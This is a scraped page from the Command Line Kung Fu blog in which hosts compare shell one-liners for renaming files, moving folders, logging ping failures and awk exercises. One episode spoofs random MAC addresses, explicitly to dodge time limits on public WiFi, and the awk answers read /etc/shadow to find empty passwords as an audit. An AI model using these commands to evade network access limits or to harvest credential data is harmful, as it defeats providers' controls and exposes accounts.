<p>All of the symbols in this solution make it appear like a little chunk of line noise, but it's nowhere near as ugly as Ed's CMD.EXE solution in <a href="http://blog.commandlinekungfu.com/2009/04/episode-26-renaming-files-with-regular.html" target="_blank">Episode #26</a>. Here's hoping Tim's Powershell solution is a bit more elegant.</p>
<span style="font-size: medium;">Tim finishes before September ends!</span>
<p>Elegance where here we come!</p>
<pre>
<i>Long Version:</i>
PS C:\> <strong>$i=1; Get-ChildItem file?? | Sort-Object -Propery Name |
ForeEach-Object { MoveItem -Path $_ -Destination ("file.{0:D3}" -f $i++) }</strong>
<i>Shortened Version:</i>
PS C:\> <strong>ls file?? | sort name | % { move $_ -dest ("file.{0:D3}" -f $i++) }</strong></pre>
<p>We start off by initializing our counter variable ($i) to 1 just like Hal did. Next, we list all the files that start with "file" and are followed by exactly two characters (each ? matches exactly 1 character of any kind). The results are then sorted by the file name to ensure that the files are renamed in the correct order. The results are then fed into the ForEach-Object cmdlet (alias %).</p>
<p>The ForEach-Object loop will operate on each object (file) as it moves down the pipeline. One at a time, each file will be represented by the current pipeline object ($_). The Move-Item cmdlet (alias move) is used to rename a file; to move it to its new name. The source path is provided by the current object and the destination is determined using the format operator (-f) and our counter ($i). The format operator will print $i as a three digit number prefixed with leading zeros and "file.". The ++ after $i will increment the counter after it has been used.</p>
<p>That is much cleaner than Ed's example...and even cleaner than Hal's to boot!</p>
<span style="font-size: medium;">Update:</span>
<p>Reader m_cnd writes in with a solution for CMD. vm</p>
<pre>C:\> <strong>for /F "tokens=1,2 delims=:" %d in ('dir /on /b file* ^|
findstr /n "file"') do for /F %x in ('set ext^=00%d^&^&
cmd /v:on /c "echo !ext:~-3!"') do rename %e file.%x</strong></pre>
Nice work!Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-70396166341453258482013-08-06T05:00:00.000-04:002013-10-02T13:12:11.273-04:00Episode #169: Move Me Maybe<span style="font-size: medium;">Tim checks the mailbag</span>
<p>Carlos IHaveNoLastName writes in asking for a way to move a directory to a new destination. That's easy, but the directory should only be moved if the the directory (at any depth) does NOT contain a file with a specific extenstion.<p>
<p>Here is an example of a sample directory structure:</p>
<pre>
SomeTopDir1
|-OtherDir1
| |-File1
| |-File2
| |-File2
|-OtherDir2
|-File1
|-File.inprogress
SomeTopDir2
|-OtherDir1
| |-File1
| |-File2
| |-File2
|-OtherDir2
|-File1
|-File2</pre>
<p>In this example we should NOT move SomeTopDir1 because it contains a file with the string "inprogress". We should however move SomeTopDir2 because it contains no such file. In short, "inprogress" means leave it alone.</p>
<p>Executing this in PowerShell is quite easy. CMD is a pain, and I'll skip that crazy long command because it is a circus trick. Here is the command to do exactly what Carlos asked:</p>
<pre>PS C:\jobsdir> <strong>Get-ChildItem | ? { $_.PSIsContainer } |
? { -not ( Get-ChildItem $_ -Recurse -Filter *.inprogress ) } |
Move-Item -Destination \archive</strong>
</pre>
<p>This command with use Get-ChildItem to list the contents of the current directory. We first filter for Directories (Container objects) just in case there are files in the root of the directory that we don't want to move. Next, another Where-Object cmdlet (alias ?) is used to check all the sub-directories and look for a file matching "*.inprogress". The -Not operator inverts the match so that only directores with a "*.inprogress" file will be passed down the pipeline.</p>
<p>At this point we have the directories that do not contain this file. The results are then piped into Move-Item and the directories are moved to the \archive directory.</p>
<p>One of the other criteria that Mr. IHaveNoLastName requested is that the command must work on XP. Well it does, but only if you install PowerShell. Sadly, XP does not support PowerShell v3. With PowerShell v3's simplified syntax (and some additional aliases) we can shorten the command to this:</p>
<pre>PS C:\jobsdir> <strong>ls | ? PSIsContainer | ? { -not ( ls $_ -r -fi *.inprogress ) } |
mv -d \archive</strong>
</pre>
<p>Thanks for an easy one Carlos! Hal, your turn. I suspect this is will be almost as easy for you (even though it won't work on XP).</p>
<span style="font-size: medium;">Hal takes it easy</span>
<p>This one's quite do-able in the shell. But unlike Tim's solution, the most straightforward approach in Linux is a loop:</p>
<pre>for i in *; do [ "$(find $i -type f -name \*.inprogress)" ] || mv $i /some/dest; done</pre>
<p>The loop is over all of the directories in the current directory. Inside the loop we run a find command looking for "*.inprogress" files. If we find any, then the test operator ("[ ... ]") returns true and we <i>don't</i> do the mv command on the other side of the "||". If we find nothing, then the directory gets moved. Easy peasy</p>
<p>"But wait!", I hear you cry, "That was too easy. And besides, you're running a mv command for each individual directory!"</p>
<p>OK, fine. You want a single mv command? Here you go:</p>
<pre>mv $(ls | grep -vf <(find * -type f -name \*.inprogress | cut -f1 -d/)) /some/dest</pre>
<p>Happy now?</p>
<p>The best way to puzzle this one out is to start with the command in the innermost parentheses:</p>
<pre>find * -type f -name \*.inprogress | cut -f1 -d/</pre>
<p>The find command returns the pathnames of all of the *.inprogress files, and the cut command pulls off the top-level directory name. If there are multiple *.inprogress files in a single directory, we'll get multiple instances of the top-level directory name, but that doesn't really matter.</p>
<p>The "<( ... )" syntax takes the output of our find pipeline and lets it be treated as an input file for another command:</p>
<pre>ls | grep -vf <( ... )</pre>
<p>We take the output of ls and use "grep -v" to filter out directories we don't want. Normally "grep -f" takes a list of patterns from an input file, but in this case we use the "<( ... )" syntax to substitute our find output instead of a normal input file. So we suppress any directories that have a *.inprogress file in them. Anything left over is a directory without a *.inprogress file, which is precisely the set of directories we want to move.</p>
<p>So we wrap the complicated ls pipline up in "$(...)" so that the output-- the list of directories we want to move-- is substituted into the "mv $(...) /some/dest" command. And that gets us to where we want to be.</p>
<p>Or you could use the same idea, but with xargs:</p>
<pre>ls | grep -vf <(find * -type f -name \*.inprogress | cut -f1 -d/) | xargs mv -d /some/dest</pre>
<p>This looks a lot more like Tim's approach in Powershell. However, this makes use of the "mv -d /some/dest ..." syntax that's supported in the GNU version of the command, but not widely supported in other more traditional Unix distros.</p>
<p>Oh, and by the way, Tim, this all works fine under Windows XP if you'd just install <a href="http://www.cygwin.com/" target="_blank">Cygwin</a> like I've been telling you to...</p>
<span style="font-size: medium;">Update:</span>
<p>m_cnd wrote in again with a shortcut for CMD.EXE:</p>
<pre>dir SomeTopDir /s /b | findstr /i /e ".extension" > nul || move SomeTopDir Destination</pre>
<p>I use this trick all the time, so I feel bad that I missed it here. With his shortcut I can put together a For loop (our favorite, and only, text parser) to do the work.</p>
<pre>C:\> <strong>for /F "tokens=*" %i in ('dir /b /AD') do dir "%i" /s /b /a-d "%i\*.extension" 1>nul 2>nul || move "%i" Destination</strong></pre>
<p>The Dir command with /AD will list directories and not files. We can then use the output to search and move if necessary. The Tokens and quotes are used in case the directory names contain spaces.</p>
<p>Thanks again m_cnd!</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-24143611010245722362013-07-02T05:00:00.000-04:002013-07-02T08:46:23.924-04:00Episode #168: Scan On, You Crazy Command Line<span style="font-size: medium;">Hal gets back to our roots</span>
<p>With one ear carefully tuned to cries of desperation from the Internet, it's no wonder I picked up on this plea from David Nides on Twitter:</p>
<blockquote class="twitter-tweet"><i>Request today, we need 2 scan XX terabytes of data across 3k file shares 4any files that have not been MAC since 2012. Then move files to x.</i>— David Nides (@DAVNADS) <a href="https://twitter.com/DAVNADS/status/311695146368512000">March 13, 2013</a></blockquote>
<p>Whenever I see a request to scan for files based on a certain criteria and then copy them someplace else, I immediately think of the "find ... | cpio -pd ..." trick I've used in <a href="http://blog.commandlinekungfu.com/2010/10/episode-115-shadowy-directories.html" target="_blank">several</a> <a href="http://blog.commandlinekungfu.com/2010/12/episode-125-find-yourself.html" target="_blank">other</a> <a href="http://blog.commandlinekungfu.com/2011/08/episode-155-copying-somebody-elses-work.html" target="_blank">Episodes</a>.</p>
<p>Happily, "find" has "-mtime", "-atime", and "-ctime" options we can use for identifying the files. But they all want their arguments to be in terms of number of days. So I need to calculate the number of days between today and the end of 2012. Let's do that via a little command-line kung fu, shall we? That will make this more fun.</p>
<pre>
$ <b>days=$(( ($(date +%Y) - 2012)*365 + $(date +%j | sed 's/^0*//') ))</b>
$ <b>echo $days</b>
447
</pre>
<p>Whoa nelly! What just happened there? Well, I'm doing math with the bash "$(( ... ))" operator and assigning the result to a variable called "days" so I can use it later. But what's all that line noise in the middle?</p>
<ul>
<li>"date +%Y" returns the current year. That's inside "$( ... )" so I can use the value in my calculations.</li>
<li>I subtract 2012 from the current year to get the number of years since 2012 and multiply that by 365. Screw you, leap years!</li>
<li>"date +%j" returns the current day of the year, a value from 001-365.</li>
<li>Unfortunately the shell interprets values with leading zeroes as octal and errors out on values like "008" and "097". So I use a little sed to strip the leading zeroes.</li>
</ul>
<p>Hey, I said it would be fun, not that it would necessarily be a good idea!</p>
<p>But now that I've got my "$days" value, the answer to David's original request couldn't be easier:</p>
<pre>
$ <b>find /some/dir -mtime +$days -atime +$days -ctime +$days | cpio -pd /new/dir</b>
</pre>
<p>The "find" command locates files whose MAC times are all greater than our "$days" value-- that's what the "+$days" syntax means. After that, it's just a matter of passing the found files off to "cpio". Calculating "$days" was the hard part.</p>
<p>My final solution was short enough that I tweeted it back to David. Which took me all the way back to the early days of Command-Line Kung Fu, when Ed Skoudis <s>had hair</s> would tweet cute little CMD.EXE hacks that he could barely fit into 140 characters. And I would respond with bash code that would barely line wrap. Ah, those were the days!</p>
<p>Of course, Tim was still in diapers then. But he's come so far, that precocious little rascal! Let's see what he has for us this time!</p>
<span style="font-size: medium;">Tim gets an easy one!</span>
<p>Holy Guacamole! This is FINALLY an easy one! Robocopy makes this super easy *and* it plays well with leap years. I feel like it is my birthday and I can finally get out of these diapers.</p>
<pre>PS C:\> <strong>robocopy \some\dir \new\dir /MINLAD (Get-Date).DayOfYear /MINAGE (Get-Date).DayOfYear /MOV</strong></pre>
<p>Simply specify the source and destination directories and use /MOV to move the files. MINLAD will ignore files that have been accessed in the past X days (LAD = Last Access Date), and MINAGE does the same based on the creation date. All we need is the number of days since the beginning of the year. Fortunately, getting that number is super easy in PowerShell (I have no pity for Hal).</p>
<p>All Date objects have the property DayOfYear which is (surprise, surprise) the number of days since the beginning of the year (Get-Member will show all the available properties and methods of an object). All we need is the current date, which we get Get-Date.</p>
<p>DONE! <a href="http://www.youtube.com/watch?v=gBzJGckMYO4">That's all folks!</a> You can go home now. I know you expected a long complicated command, but we don't have one here. However, if you feel that you need to read more you can go back and read the episodes where we cover some <a href="http://blog.commandlinekungfu.com/2009/04/episode-24-copying-and-synchronizing.html">other</a> <a href="http://blog.commandlinekungfu.com/2009/12/episode-73-getting-perfect-perms.html">options</a> <a href="http://blog.commandlinekungfu.com/2011/07/episode-153-ill-have-what-shes-having.html">available</a> with robocopy.</P>
<p>This command is so easy, simple, and short I could even fit it into a tweet!</p>Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-33910722807982398242013-06-18T05:00:00.000-04:002015-03-31T13:19:36.364-04:00Episode #167: Big MAC<span style="font-size: medium;">Hal checks into Twitter:</span>
<p>So there I was, browsing my Twitter timeline and a friend forwarded a link to <a href="https://gist.github.com/jashkenas/5113149" target="_blank">Jeremy Ashkenas'</a> github site. Jeremy created an alias for changing your MAC address to a random value. This is useful when you're on a public WiFi network that only gives you a small amount of free minutes. Since most of these services keep track by noting your MAC address, as long as you keep cycling you MAC, you can keep using the network for free.</p>
<p>Here's the core of Jeremy's alias:</p>
<pre>sudo ifconfig en0 ether `openssl rand -hex 6 | sed "s/\(..\)/\1:/g; s/.$//"`</pre>
<p>Note that the syntax of the ifconfig command varies a great deal between various OS versions. On my Linux machine, the syntax would be "sudo ifconfig wlan0 hw ether..."-- you need "hw ether" after the interface name and not just "ether".</p>
<p>Anyway, this seemed like a lot of code just to generate a random MAC address. Besides, what if you didn't have the openssl command installed on your Linux box? So I decided to try and figure out how to generate a random MAC address in fewer characters and using commonly built-in tools.</p>
<p>What does a MAC address look like? It's six pairs of digits with colons between. "Pairs of digits with colons between" immediately made me think of time values. And this works:</p>
<pre>$ <b>date +00:11:22:%T</b>
00:11:22:11:23:08</pre>
<p>Just print three pairs of fixed digits followed by "hh:mm:ss". I originally tried "date +%T:%T". But in my testing, the ifconfig command didn't always like the fake MAC addresses that were generated this way. So specifying the first few octets was the way to go.</p>
<p>The only problem is that this address really isn't all that random. If there were a lot of people on the same WiFi network all using this trick, MAC address collisions could happen pretty easily. Though if everybody chose their own personal sequence for the first three octets, you could make this a lot less likely.</p>
<p>The Linux date command lets you output a nine-digit nanoseconds value with "%N". I could combine that with a few leading digits to generate a pseudo-random sequence of 12 digits:</p>
<pre>$ <b>date +000%N</b>
000801073504</pre>
<p>But now we need to use the sed expression in Jeremy's original alias to put the colons in. Or do we?</p>
<pre>$ <b>sudo ifconfig wlan0 hw ether $(date +000%N)</b>
$ <b>ifconfig wlan0</b>
wlan0 Link encap:Ethernet HWaddr 00:02:80:12:43:53
...</pre>
<p>I admit that I was a little shocked when I tried this and it actually worked! I can't guarantee that it will work across all Unix-like operating systems, but it allows me to come up with a much shorter bit of fu compared to Jeremy's solution.</p>
<p>What if you were on a system that didn't have openssl installed and didn't have a date command that had nanosecond resolution? If your system has a /dev/urandom device (and most do) you could use the trick we used way back in <a href="http://blog.commandlinekungfu.com/2010/03/episode-85-coincidence-randomness.html" target="_blank">Episode #85</a>:</p>
<pre>$ <b>sudo ifconfig wlan0 hw ether 00$(head /dev/urandom | tr -dc a-f0-9 | cut -c1-10)</b>
$ <b>ifconfig wlan0</b>
wlan0 Link encap:Ethernet HWaddr 00:7a:5f:be:a2:ca
...</pre>
<p>Again I'm using two literal zeroes at the front of the MAC address, so that I create addresses that don't cause ifconfig to error out on me.</p>
<p>The expression above is not very short, but at least it uses basic commands that will be available on pretty much any Unix-like OS. If your ifconfig needs colons between the octets, then you'll have to add a little sed like Jeremy did:</p>
<pre>$ <b>sudo ifconfig wlan0 hw ether \
00$(head /dev/urandom | tr -dc a-f0-9 | sed 's/\(..\)/:\1/g;' | cut -c1-15)</b>
$ <b>ifconfig wlan0</b>
wlan0 Link encap:Ethernet HWaddr 00:d9:3e:0d:80:57
...</pre>
<p>Jeremy's sed is more complicated because he takes 12 digits and adds colons after each octet, but leaves a trailing colon at the end of the address. So he has a second substitution to drop the trailing colon. I'm using cut to trim off the extra output anyway, so I don't really need the extra sed substitution. Also, since I'm specifying the first octet outside of the "$(...)", my sed expression puts the colons <i>in front</i> of each octet.</p>
<p>So there you have it. There's a very short solution for my Linux box that has a date command with nanosecond resolution and a very forgiving ifconfig command. And a longer solution that should work on pretty much any Unix-like OS. But even my longest solution is surely going to look great compared to what Tim's going to have to deal with.</p>
<span style="font-size: medium;">Tim wishes he hadn't checked into Twitter:</span>
<p>I'm so jealous of Hal. I think his entire command is shorter than the name of my interface. This command is painful, quite painful. I would very much suggest something like <a href="http://www.technitium.com/tmac/index.html">Technitium's Mac Address Changer</a>, but since Hal set me up here we go...</p>
<p>To start of, we need to get the name of our target interface. Sadly, the names of the interfaces aren't as simply named as they are on a *nix box. Not only is the name 11 times longer, but it is not easy to type. If you run "ipconfig /all" you can find the name and copy/paste it. (By the way, I'm only going to use PowerShell here, the CMD.EXE version would be ugly^2).</p>
<pre>PS C:\> <strong>$ifname = "Intel(R) 82574L Gigabit Network Connection"</strong></pre>
<p>The MAC address for each interface is stored somewhere in the registry under this even-less-easy-to-type Key:<br/> HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\[Some 4 digit number]\</p>
<p>First, a bit of clarification. Many people (erroneously) refer to Keys as the name/value pairs, but those pairs are actually called Values. A key is the container object (similar to a directory). How about that for a little piece of trivia?</p>
<p>With PowerShell we can use Get-ChildItem (alias dir, ls, gci) to list all the keys and then Get-ItemProperty (alias gp) to list the DriverDesc values. A simple Where-Object filter (alias where, ?) will find the key we need. </p>
<pre>PS C:\> <strong>Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-
11CE-BFC1-08002bE10318`}\[0-9]*\ | Get-ItemProperty -Name DriverDesc |
? DriverDesc -eq "Intel(R) 82574L Gigabit Network Connection"</strong>
DriverDesc : Intel(R) 82574L Gigabit Network Connection
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}\0010
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}
PSChildName : 0010
PSProvider : Microsoft.PowerShell.Core\Registry</pre>
<p>Note: the curly braces ({}) need to be prefixed with a back tick (`) so they are not interpreted as a script block.</p>
<p>So now we have the Key for our target network interface. Next, we need to generate a random MAC address. Fortunately, Windows does not requires the use of colons (or dots) in the MAC address. This is nice as it makes our command a little easier to read (a very very little, but we'll take any win we can). The acceptable values are between 000000000000 and fffffffffffe (ffffffffffff is the broadcast address and should be avoided). This is the range between 0 and 2^48-2 ([Math]::Pow(2,8*6)-2 = 281474976710654). The random number is then formatted as a 12 digit hex number.</p>
<pre>PS C:\> <strong>[String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))</strong>
16db434bed4e
PS C:\> <strong>[String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))</strong>
a31bfae1296d</pre>
<p>We have a random MAC address value and we know the Key, now we need to put those two pieces together to actually change the MAC address. The New-ItemProperty cmdlet will create the value if it doesn't exist and the -Force option will overwrite it if it already exists. This results in the final version of our ugly command. We could shorten the command a little (very little) bit, but this is the way it's mother loves it, so we'll leave it alone.</p>
<pre>PS C:\> <strong>ls HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-11CE-BFC1-
08002bE10318`}\0*\ | Get-ItemProperty -Name DriverDesc | ? DriverDesc -eq
"Intel(R) 82574L Gigabit Network Connection" | New-ItemProperty -Name
NetworkAddress -Value ([String]::Format("{0:x12}", (Get-Random -Minimum 0
-Maximum 281474976710655))) -PropertyType String -Force</strong></pre>
<p>You would think that after all of this mess we would be good to go, but you would be wrong. As with most things Windows, you could reboot the system to have this take affect, but that's no fun. We can accomplish the same goal by disabling and enabling the connection. This syntax isn't too bad, but we need to use a different long name here.</p>
<pre>PS C:\> <strong>netsh set interface name="Wired Ethernet Connection" admin=DISABLED</strong>
PS C:\> <strong>netsh set interface name="Wired Ethernet Connection" admin=ENABLED</strong></pre>
<p>At this point you should be running with the new MAC address.</p>
<p>And now you can see why I recommend a better tool to do this...and why I envy Hal.</p>
<p><strong>EDIT:</strong><br/>
Andres Elliku wrote in and reminded me of the new NetAdapter cmdlets in version 3. Here is his response.</p>
<p><i>This is directed mainly to Tim as a suggestion to decrease his pain. :)</i> (Tim's comment: for this I'm thankful!)</p>
<p><i>Powershell has included at least since version 2.0 the NetAdapter module.
This means that in Powershell you could set the mac aadress with something like:</i></p>
<pre>PS C:\> <strong>Set-NetAdapter -Name "Wi-Fi" -MacAddress ([String]::Format("{0:x12}",
(Get-Random -Minimum 0 -Maximum 281474976710655))) | Restart-NetAdapter</strong></pre>
<p><i>NB! The adapter name might vary, but usually they are still pretty short.</i></p>
<p>The shorter interface names is one of my favorite features of Windows 8 and Windows 2012. Also, with these cmdlets we don't need the name if the device (Intel blah blah blah) but the newly shortened interface name. Great stuff Andres. Thanks for writing in! -Tim</p>
<p><strong>EDIT 2:</strong></p>
<p>@PowerShellGuy tweeted an even shorted version using the format operator and built-in byte conversion:</p>
<pre>PS C:\> <strong>Set-NetAdapter "wi-fi" -mac ("{0:x12}" -f (get-random -max (256tb-1))) |
Restart-NetAdapter</strong></pre>
<p>Well done for really shortening the command -Tim</p>Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-39135168753131512362013-03-12T05:00:00.000-04:002013-03-12T10:06:02.738-04:00Episode #166: Ping A Little Log For Me<p><i>We've been away for a while because, frankly, we ran out of material. In the meantime we tried to come up with some new ideas and there have had a few requests, but sadly they were all redundant, became scripts, or both. We've been looking long and hard for Fu that works in this format, and we've finally found it!</p>
<p>Nathan Sweaney wrote in with a great idea! It isn't a script, it isn't redundant, and it is quite useful. Three of the four of the criteria that makes a great episode (the fourth being beer fetching or beer opening). To top it off Nathan wrote the CMD.EXE portion himself. Thanks Nathan!</p>
<p>--Tim</i></p>
<p><span style="font-size: medium;">Nathan Sweaney writes in:</span>
<p>Ping Network Monitor</p>
<p>Occasionally we have issues in the field where we think a customer's device is occasionally losing a connection, but we're not sure if, or when, or for how long. We need a log of when the connection is dropping so that we can compare to the customer's reports of issues. Sure there are fancy network monitoring tools that can help, but we're in a hurry with no budget.</p>
<p>In Linux this would be easy, but these are Windows boxen. So I hacked together the following one-liner for our techs to use in the field.</p>
<p>This command will ping an IP address once every second and when it doesn't get a response, it will log the time-stamp in a text file. Then we can compare those time-stamps to failure reports from the customer.</p>
<p>To use it, simply change the IP address 8.8.8.8 near the beginning to whatever IP we need to monitor. Then open a command prompt, CD into the directory you want the log file created, and run the command.</p>
<p><pre>C:\> <strong>cmd.exe /v:on /c "FOR /L %i in (1,0,2) do @ping -n 1 8.8.8.8 |
find "Request timed out">NUL && (echo !date! !time! >> PingFail.txt) &
ping -n 2 127.0.0.1>NUL"</strong></pre>
<p>So let's dissect this. It's mostly just a combination of examples Ed has mentioned in the past.</p>
<p>First, we're using the "cmd.exe /v:on /c" command to allow for <a href="http://blog.commandlinekungfu.com/2009/03/episode-12-deleting-related-files.html">delayed environment variable expansion</a>. Ed has explained in the past why that lets us do flexible variable parsing. This command wraps everything else.</p>
<p>The next layer of our onion is an infinite "FOR /L" loop that Ed mentioned <a href="http://blog.commandlinekungfu.com/2009/02/episode-3-watching-file-count-in.html">WAY back</a>. We're counting from 1 to 2 in steps of 0 so that our command will continue running until we manually stop it.</p>
<p>Inside of our FOR loop is where we really get to the meat. We've basically got 4 steps:</p>
<p>1) First we see @ping -n 1 8.8.8.8. The @ symbol says to hide the echo of the command to the screen. The switch (-n 1) says to only ping the IP once. And of course 8.8.8.8 is the address we want to ping.</p>
<p>2) Next we pipe the results of our ping into the FIND command and search for "Request timed out" to see if the ping failed. The last part of that >NUL says to dump the output from this command into NUL, because we don't really need to see it.</p>
<p>3) Now we get fancy. The && says to only run this command if the previous command succeeded. In other words, if our FIND command finds the text, which means our ping failed, then we run this command. And we've enclosed this command in parenthesis contain it as a single command. We need to use the "cmd.exe /v:on /c" command at the beginning to allow for delayed environment variable expansion; that way our time & date changes each iteration. So %date% and %time% becomes !date! and !time!.</p>
<p>And finally we're redirecting our output to a file called PingFail.txt. We use the >> operator append each new entry rather than overwrite with just >.</p>
<p>4) And finally we're on to the last step. As mentioned before, the & says to run the next command no matter what has already happened. This command simply pings localhost with (-n 2) which will give us a one-second delay. The first ping happens immediately, and the second ping happens after one second. This slows down our original ping back in step 1 which would otherwise fire off like a machine gun as fast as the FOR loop can go. Lastly, we're redirecting the output with >NUL because we don't care to see it.</p>
<p>WOW. I said it was convoluted. But it works, and it's rather simple to use.</p>
<p><span style="font-size: medium;">Tim finds a letter in the mail slot:</span>
<p>Wow, it has been a while since we've dusted off the ol' kung fu for a blog post. I've missed it and I know Hal as too. In fact, he hasn't showered since our last episode. True story. This was his silent (but deadly) protest against our lack of ideas and usable suggestions. The Northwest can breathe a sigh of relief (in the now fresher air) now that we are back for this episode. I for one, missed the blog. Back to the Fu...</p>
<p>Nathan wrote in with his idea to log Ping failures. What a great idea for a quick and dirty network monitor. Thanks to CMD.EXE he's got a bit of funkyness to his command. Fortunately, we can be a little smoother with our approach.</p>
<p><pre>PS C:\> <b>for (;;) { Start-Sleep 2; ping -n 1 8.8.8.8 >$null; if(-not $?) { Get-Date -Format s | Tee-
Object mylog.txt -Append }}</b>
2013-03-12T12:34:56</pre>
<p>We start off with an infinite loop using the For loop but without any loop control structures. Without these structures there is nothing to limit the loop, and it will run forever...it will be UNSTOPPABLE! MWAAAAAHAHAHAHAHA! <cough> <cough> Sorry about that, it's been a while.</p>
<p>Inside our infinite loop we sleep for a few seconds. We could do it at the end, but for some reason I get inconsistent results when I do that. I have no idea why, and I've tried troubleshooting it for hours. That's OK, a pre-command nap never killed anyone.</p>
<p>After our brief nap, we do the ping. The results are sent into the garbage can that is the $NULL variable. Following this command we check the error state of the previous command by checking the value of $?. This variable is True if the previous command ran without error, if there was an error the the command is False. The If Statement is used to branch our logic based on this value. If it is False, the ping failed, and we need to log the error.</p>
<p>Inside our branch we get the current date with Get-Date (duh!) and change the format to the sortable format. We could use any format, but the OCD part of me likes this format. The formatted date is piped into the Tee-Object command which will append the date to a file as well as output to our console.</p>
<p>Notice we used the For loop here instead of a While loop. I did this to save single character. We can save a few more characters by using this command using aliases, shortened parameter names, and a little magic in our For loop.</p>
<p><pre>PS C:\> <b>for (;;sleep 2) {ping -n 1 8.8.8.8 >$null; if(-not $?) { date -f s | tee mylog.txt -a }}</b></pre>
<p>I moved the Start-Sleep (alias sleep) cmdlet inside the For loop control. The For loops looks like this:</p>
<p><pre>for ( variable initialization; condition; variable update ) {
Code to execute while the condition is true
}</pre>
<p>The <i>variable initialization</i> is run once before our loop starts. The <i>condition</i> is checked every time through the loop to see if we should continue the loop. We have no variable we care to initialize, and we want the loop to run forever so we don't use a condition. The <i>variable update</i> piece is executed after each time through the loop, and this we can use. Instead of modifying a variable used in the loop, we take a lovely two second nap. This gives us our nice delay between each ping.</p>
<p>There you have the long awaited PowerShell version of this command. It is better than CMD.EXE, but there is no nice way to use the short-circuit operator && or || operators to make this command more efficient. Don't tell Hal, but I'm really jealous of the way his shell can be used to complete this task. I'm jealous of his terseness...and his full head of hair.</p>
<span style="font-size: medium;">Hal washes clean</span>
<p>Let's be clear. The only thing that smells around here is the Windows shells. Have to use ping to put a sleep in your loop? Sleep that works at the start of the loop but not the end? What kind of Mickey Mouse operating system is that?</p>
<p>The Linux solution doesn't look a lot different from the Windows solutions:</p>
<pre>while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date; sleep 1; done</pre>
<p>"while :; do ... done" is the most convenient way of doing an infinite loop in the shell. The ping command uses the "-c 1" option to only send a single ping and "-W 1" to only wait one second for the response. We send the ping output to /dev/null so that it doesn't clutter the output of our loop. Whenever the ping fails, it returns false and we end up running the date command on the right-hand side to output a timestamp. The last thing in the loop is a sleep for one second. And yes, Tim, it actually works at the end of the loop in my shell.</p>
<p>Well that was easy. Hmmm, I don't want to embarrass Nathan and Tim by making my part of the Episode too short. How about we make the output of the date command a little nicer:</p>
<pre>while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date '+%F %T'; sleep 1; done</pre>
"%F" is the "full" <a href="http://xkcd.com/1179/" target="_blank">ANSI-style</a> date format "2013-03-12" and "%T" is the time in 24-hour notation. So we get "2013-03-12 04:56:22" instead of the default "Tue Mar 12 04:56:22 EST 2013"</p>
<p>Oh, you want to save the output in a file as well as having it show up in your terminal window? No problemo:</p>
<pre>while :; do ping -c 1 -W 1 8.8.8.8 >/dev/null || date; sleep 1; done | tee mylog.txt</pre>
<p>Hooray for tee!</p>
<p>Well I can't tart this up any more to save Tim and Nathan's fragile egos. So I'm outta here to go find a shower.</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-658481489268886132013-01-06T19:29:00.000-05:002013-01-06T19:29:36.059-05:00An AWK-ward Response<p>A couple of weeks ago I promised some answers to the exercises I proposed at the end of my <a href="http://blog.commandlinekungfu.com/2012/12/awk-ward.html" target="_blank">last post</a>. What we have here is a case of, "Better late than never!"</p>
<p><i>1. If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?</i></p>
<p>There's a couple of different ways you could attack this using the material I showed you in the previous post. One way would be to do string comparison on field $1:</p>
<pre>$ <b>ps -ef | awk '$1 != "UID" {print $1}' | sort | uniq -c | sort -nr</b>
178 root
58 hal
2 www-data
...</pre>
<p>An alternative approach would be to use pattern matching to print lines that <i>don't</i> match the string "UID". The "!" operator means "not", so the expression "!/UID/" does what we want:</p>
<pre>$ <b>ps -ef | awk '!/UID/ {print $1}' | sort | uniq -c | sort -nr</b>
178 root
57 hal
2 www-data
...</pre>
<p>You'll notice that the "!/UID/" version counts one less process for user "hal" than the string comparison version. That's because the pattern match is matching the "UID" in the awk code and not showing you that process. So the string comparison version is slightly more accurate.</p>
<p><i>2. Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).</i></p>
<p>Remember that /etc/passwd file is colon-delimited, so we'll use awk's "-F" operator to split on colons. UID is field #3 and the username is field #1:</p>
<pre>$ <b>awk -F: '$3 == 0 {print $1}' /etc/passwd</b>
root</pre>
<p>Normally, a Unix-like OS will only have a single UID 0 account named "root". If you find other UID 0 accounts in your password file, they could be a sign that somebody's doing something naughty.</p>
<p><i>3. Print out the usernames of all accounts with null password fields in /etc/shadow.</i></p>
<p>You'll need to be root to do this one, since /etc/shadow is only readable by the superuser:</p>
<pre># <b>awk -F: '$2 == "" {print $1}' /etc/shadow</b></pre>
<p>Again, we use "-F:" to split the fields in /etc/shadow. We look for lines where the second field (containing the password hash) is the empty string and print the first field (the username) when this condition is true. It's really not much different from the previous /etc/passwd example.</p>
<p>You should get no output. There shouldn't be any entries in /etc/shadow with null password hashes!</p>
<p><i>4. Print out process data for all commands being run as root by interactive users on the system (HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it)</i></p>
<p>The "TTY" column in the "ps" output is field #6 and the username field is #1:</p>
<pre># ps -ef | awk '$1 == "root" && $6 != "?" {print}'
root 1422 1 0 Jan05 tty4 00:00:00 /sbin/getty -8 38400 tty4
root 1427 1 0 Jan05 tty5 00:00:00 /sbin/getty -8 38400 tty5
